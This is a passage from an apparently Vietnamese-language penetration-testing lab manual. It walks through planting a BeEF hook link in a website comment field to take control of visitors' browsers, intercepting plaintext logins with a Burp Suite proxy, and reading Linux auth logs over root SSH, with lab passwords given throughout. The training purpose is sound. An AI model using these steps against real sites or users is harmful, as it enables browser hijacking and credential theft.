- Trang chủ BeEF xuất hiện trên cửa sổ trình duyệt. Trong phần Bắt đầu, bạn sẽ thấy hai liên kết “ở đây”. Nhấp chuột phải vào liên kết ở đây đầu tiên và chọn Sao chép Vị trí Liên kết. Bây giờ, bạn cần dán liên kết vào trang Liên hệ với chúng tôi của trang web Luxury Treats.
(Ảnh chụp màn hình hiển thị trang chủ BeEF với liên kết “ở đây” đầu tiên được tô sáng)
- Bây giờ, mở một tab mới trong trình duyệt web và duyệt trang web http://www.luxurytreats.com/Contactus.aspx.
(Ảnh chụp màn hình hiển thị trang Liên hệ với chúng tôi trên trang web Luxury Treats)
- Trang Liên hệ với chúng tôi xuất hiện; nhập email giả vào trường Email, dán liên kết (http://127.0.0.1:3000/demos/basic.html) được sao chép từ khuôn khổ BeEF vào trường Nhận xét. Thay thế 127.0.0.1 bằng địa chỉ IP của máy Parrot, tức là 172.19.19.18 và nhấp vào Save Comment.
(Ảnh chụp màn hình hiển thị trang Liên hệ với chúng tôi trên trang web Luxury Treats với liên kết BeEF được dán vào trường nhận xét)
- Một liên kết nhận xét được đăng trên trang. Bây giờ, duyệt trang web từ các máy khác và mở URL http://172.19.19.18:3000/demos/basic.html. Ngay khi bạn mở trang web, khuôn khổ khai thác trình duyệt chạy trong máy này sẽ thiết lập kết nối với máy. Bằng cách này, một botnet sẽ được tạo.
(Ảnh chụp màn hình hiển thị trang Liên hệ với chúng tôi trên trang web Luxury Treats với liên kết nhận xét được đăng)
- Đăng nhập vào máy Database Server bằng cách nhấp vào @lab.VirtualMachine(DatabaseServerSubnetB).Chọn Liên kết. Nhấp vào Ctrl+Alt+Delete và sau đó nhấp vào Pa word để đăng nhập.
(Ảnh chụp màn hình hiển thị màn hình Ctrl+Alt+Delete)
- Khởi chạy Google chrome và duyệt URL http://www.luxurytreats.com/Contactus.aspx. Bạn sẽ thấy liên kết Browser Exploitation Framework trong trường Nhận xét. Sao chép liên kết.
(Ảnh chụp màn hình hiển thị trang web Luxury Treats với liên kết BeEF trong nhận xét)
- Mở một tab mới, dán URL và nhấn Enter. Ngay khi bạn mở trang web này, BeEF chạy trong máy Parrot sẽ thiết lập kết nối với máy này.
(Ảnh chụp màn hình hiển thị trang demo cơ bản của BeEF)
- Chọn Bộ phận Quảng cáo từ ngăn Tài nguyên, đăng nhập vào đó.
Khởi chạy trình duyệt web Chrome và duyệt URL http://www.luxurytreats.com/Contactus.aspx. Bạn sẽ thấy liên kết Browser Exploitation Framework trong trường Nhận xét, sao chép liên kết.
(Ảnh chụp màn hình hiển thị trang web Luxury Treats với liên kết BeEF trong nhận xét)
- Mở một tab mới, dán URL và nhấn Enter. Ngay khi bạn mở trang web này, BeEF chạy trong máy Parrot sẽ thiết lập kết nối với máy này.
(Ảnh chụp màn hình hiển thị trang demo cơ bản của BeEF)
- Chọn Bộ phận Bán hàng từ ngăn Tài nguyên và đăng nhập vào đó bằng thông tin đăng nhập Admin/test@123. Sau khi bạn đăng nhập vào máy, nếu biểu ngữ Mạng xuất hiện ở góc bên phải của Màn hình nền, hãy nhấp vào Có. Khởi chạy trình duyệt web Chrome và duyệt URL http://www.luxurytreats.com/Contactus.aspx. Bạn sẽ thấy liên kết Browser Exploitation Framework trong trường Nhận xét, sao chép liên kết.
(Ảnh chụp màn hình hiển thị trang web Luxury Treats với liên kết BeEF trong nhận xét)
- Mở một tab mới, dán URL và nhấn Enter. Ngay khi bạn mở trang web này, BeEF chạy trong máy Parrot sẽ thiết lập kết nối với máy này.
(Ảnh chụp màn hình hiển thị trang demo cơ bản của BeEF)
- Nhấp vào Parrot, chuyển sang tab mà bạn đã đăng nhập vào BeEF và nhấp vào tab Logs.
(Ảnh chụp màn hình hiển thị bảng điều khiển BeEF với tab Logs được tô sáng)
- Bạn sẽ thấy rằng cả ba máy Database Server, Bộ phận Quảng cáo và Bộ phận Bán hàng đều được kết nối với Browser Exploitation Framework (BeEF) bằng cách quan sát nhật ký. Bạn thậm chí có thể quan sát chúng trong ngăn bên trái trong thư mục 172.19.19.18 (trong Trình duyệt Trực tuyến).
(Ảnh chụp màn hình hiển thị tab Logs trong BeEF với các máy được kết nối)
- Bằng cách này, nếu bất kỳ ai truy cập trang, BeEF sẽ có quyền truy cập vào máy của họ.
Trong bài thực hành này, bạn đã học được cách:
• Sử dụng Browser Exploitation Framework (BeEF)
• Lấy Thông tin đăng nhập của tài khoản người dùng ở dạng văn bản thuần túy
• Thiết lập botnet của các máy dễ bị tấn công
Bài tập 24: Thử nghiệm thâm nhập các lỗ hổng ứng dụng web bằng Burp Suite
Kịch bản
Burp Suite là một nền tảng tích hợp để thực hiện kiểm tra bảo mật cho các ứng dụng web. Các công cụ khác nhau của nó hoạt động liền mạch cùng nhau để hỗ trợ toàn bộ quy trình kiểm tra, từ ánh xạ ban đầu và phân tích bề mặt tấn công của ứng dụng, thông qua việc tìm kiếm và khai thác các lỗ hổng bảo mật.
Burp cho phép bạn tự động hóa các tác vụ kiểm tra thâm nhập khác nhau trong khi thử nghiệm thâm nhập ứng dụng web. Nó cũng cho phép bạn chặn các yêu cầu HTTP riêng lẻ đến và đi khỏi máy chủ web và cho phép bạn sửa đổi nội dung của chúng trước khi chuyển tiếp đến máy chủ web hoặc máy khách.
Trong bài thực hành này, bạn sẽ tìm hiểu cách sử dụng Burp Suite và thực hiện bẻ khóa thông tin đăng nhập bằng Burp Suite.
Thời gian thực hành: 25 phút
- Nhấp vào Parrot. Màn hình khóa Parrot xuất hiện.
(Ảnh chụp màn hình hiển thị màn hình khóa Parrot)
- Theo mặc định, pentester được chọn làm người dùng. Nhập toor vào trường Mật khẩu và nhấn Enter.
(Ảnh chụp màn hình hiển thị màn hình khóa Parrot với mật khẩu được nhập)
- Khởi chạy Burp Suite. Chuyển đến Applications -> Pentesting -> Web Application Analysis -> burpsuite và nhấp vào nó.
(Ảnh chụp màn hình hiển thị menu Ứng dụng với tùy chọn burpsuite được tô sáng)
- Nếu lời nhắc xuất hiện, hãy nhập toor làm mật khẩu và nhấp vào Xác thực.
(Ảnh chụp màn hình hiển thị lời nhắc mật khẩu)
- Cửa sổ Burp Suite xuất hiện như được hiển thị trong ảnh chụp màn hình.
(Ảnh chụp màn hình hiển thị cửa sổ Burp Suite)
- Nhấp vào Next.
(Ảnh chụp màn hình hiển thị cửa sổ Burp Suite với nút Next được tô sáng)
- Cửa sổ Temporary project xuất hiện, nhấp vào tùy chọn Use Burp defaults và nhấp vào Start Burp.
(Ảnh chụp màn hình hiển thị cửa sổ Temporary project trong Burp Suite)
- Nhấp vào tab Proxy và sau đó nhấp vào tab Options. Trong Proxy Listeners, nhấp vào nút Add.
(Ảnh chụp màn hình hiển thị tab Proxy trong Burp Suite với tab Options được chọn)
- Cửa sổ Proxy Listener Options xuất hiện. Trong phần Binding, chọn tùy chọn Specific address và nhập 172.19.19.18 (địa chỉ IP của máy Parrot). Giữ nguyên tất cả các tùy chọn khác theo mặc định. Nhấp vào OK.
(Ảnh chụp màn hình hiển thị cửa sổ Proxy Listener Options trong Burp Suite)
- Bây giờ, bạn có thể xem địa chỉ IP trong Proxy Listeners. Tiếp theo, nhấp vào tab Intercept. Nhấp vào Intercept is on để tắt chặn.
(Ảnh chụp màn hình hiển thị tab Proxy trong Burp Suite với tab Intercept được chọn)
- Nhấp vào @lab.VirtualMachine(SalesDepartmentSubnetD). Chọn Liên kết, khởi chạy trình duyệt web Google Chrome, nhập chrome://settings/ vào thanh địa chỉ và nhấn Enter.
(Ảnh chụp màn hình hiển thị cửa sổ Cài đặt Google Chrome)
- Cuộn xuống và nhấp vào Advanced.
(Ảnh chụp màn hình hiển thị cửa sổ Cài đặt Google Chrome với tùy chọn Advanced được tô sáng)
- Trong phần System, nhấp vào Open proxy settings.
(Ảnh chụp màn hình hiển thị cửa sổ Cài đặt Google Chrome với tùy chọn Open proxy settings được tô sáng)
- Cửa sổ Internet Properties xuất hiện. Trong tab Connections, nhấp vào nút LAN settings.
(Ảnh chụp màn hình hiển thị cửa sổ Internet Properties với tab Connections được chọn)
- Cửa sổ Local Area Network (LAN) Settings xuất hiện; chọn tùy chọn Use a proxy server for your LAN và nhập địa chỉ IP của máy Parrot, tức là 172.19.19.18 trong trường Address và 8080 trong trường Port và nhấp vào OK.
(Ảnh chụp màn hình hiển thị cửa sổ Local Area Network (LAN) Settings)
- Bây giờ, hãy điều hướng đến một trang web nơi bạn có thể thử bắt thông tin đăng nhập người dùng. Trong bài thực hành này, chúng tôi sẽ sử dụng trang web www.luxurytreats.com. Vì vậy, trong trình duyệt web, hãy nhập URL www.luxurytreats.com và nhấn Enter.
(Ảnh chụp màn hình hiển thị trang web Luxury Treats trong trình duyệt web)
- Nhấp vào liên kết Login.
(Ảnh chụp màn hình hiển thị trang web Luxury Treats với liên kết Login được tô sáng)
- Trang Login xuất hiện, nhập thông tin đăng nhập sau vào trường tương ứng:
Tên người dùng: Sam123
Mật khẩu: Pa w0rd
Nhấp vào Login.
(Ảnh chụp màn hình hiển thị trang Login trên trang web Luxury Treats)
- Chuyển sang máy Parrot, nhấp vào tab Proxy và sau đó nhấp vào tab Intercept. Bạn sẽ thấy thông tin đăng nhập mà bạn vừa nhập trên máy Sales. Chọn thông tin đăng nhập trong Request và sao chép nó.
(Ảnh chụp màn hình hiển thị tab Proxy trong Burp Suite với tab Intercept được chọn và thông tin đăng nhập được tô sáng)
- Mở một terminal dòng lệnh, nhập touch credentials.txt và nhấn Enter.
(Ảnh chụp màn hình hiển thị lệnh touch credentials.txt và đầu ra của nó)
- Mở tệp credentials.txt, dán thông tin đăng nhập bạn đã sao chép trong tác vụ trước đó và lưu nó.
(Ảnh chụp màn hình hiển thị tệp credentials.txt với thông tin đăng nhập được dán)
- Trong bài thực hành này, bạn đã học được cách sử dụng Burp Suite và thực hiện bẻ khóa thông tin đăng nhập bằng Burp Suite. Đóng tất cả các cửa sổ đã mở.
Bài tập 25: Phân tích các bản ghi hệ thống Linux để điều tra các sự cố
Kịch bản
Nhật ký hệ thống chứa rất nhiều thông tin hữu ích liên quan đến hệ thống, hoạt động người dùng và quá trình hệ thống. Người kiểm tra thâm nhập và quản trị viên hệ thống phân tích các tệp nhật ký này để biết bất kỳ hoạt động đáng ngờ hoặc thông tin quan trọng nào giúp hỗ trợ cho quá trình điều tra của họ.
Vì vậy, là một người kiểm tra thâm nhập, bạn phải có khả năng phân tích các bản ghi hệ thống Linux để điều tra các sự cố.
Thời lượng thực hành: 10 phút
- Nhấp vào Parrot. Màn hình khóa Parrot xuất hiện.
(Ảnh chụp màn hình hiển thị màn hình khóa Parrot)
- Theo mặc định, pentester được chọn là người dùng. Nhập toor vào trường Mật khẩu và nhấn Enter.
(Ảnh chụp màn hình hiển thị màn hình khóa Parrot với mật khẩu được nhập)
- Trong bài thực hành này, chúng tôi sẽ sử dụng máy Ubuntu (172.19.19.70) để thực hiện phân tích bản ghi hệ thống. Trong các bài thực hành trước đó, chúng tôi đã học cách bẻ khóa mật khẩu quản trị viên và có quyền truy cập root. Bạn có thể làm theo các bước tương tự hoặc đăng nhập bằng thông tin đăng nhập được cung cấp trong câu hỏi. Vì vậy, hãy khởi chạy dòng lệnh terminal, nhập ssh root@172.19.19.70 và nhấn Enter. Nhập mật khẩu khi được nhắc.
(Ảnh chụp màn hình hiển thị lệnh ssh root@172.19.19.70 và đầu ra của nó)
- Bây giờ bạn đã được kết nối với máy Ubuntu thông qua shell SSH.
(Ảnh chụp màn hình hiển thị phiên SSH đã thiết lập)
- Để xem các tệp nhật ký hệ thống khác nhau, hãy điều hướng đến thư mục /var/log bằng cách nhập cd /var/log trong terminal và nhấn Enter.
(Ảnh chụp màn hình hiển thị lệnh cd /var/log và đầu ra của nó)
- Sau khi điều hướng đến thư mục /var/log, bạn có thể xem nhiều loại tệp nhật ký ở đó. Ví dụ: auth.log chứa thông tin liên quan đến xác thực như đăng nhập thành công/không thành công, sudo, ssh, v.v. Nhập ls -l và nhấn Enter để liệt kê tất cả các tệp nhật ký.
(Ảnh chụp màn hình hiển thị lệnh ls -l và đầu ra của nó, hiển thị danh sách các tệp nhật ký)
- Để xem nội dung của tệp auth.log, hãy nhập cat auth.log | less và nhấn Enter. Bạn có thể xem thông tin liên quan đến xác thực được ghi lại ở đó như được hiển thị trong ảnh chụp màn hình bên dưới.
(Ảnh chụp màn hình hiển thị đầu ra của lệnh cat auth.log | less)
- Theo cách tương tự, hãy khám phá các tệp nhật ký khác để biết thông tin liên quan.
- Bài thực hành này kết thúc tại đây.
Trong bài thực hành này, bạn đã tìm hiểu cách phân tích nhật ký hệ thống Linux để điều tra các sự cố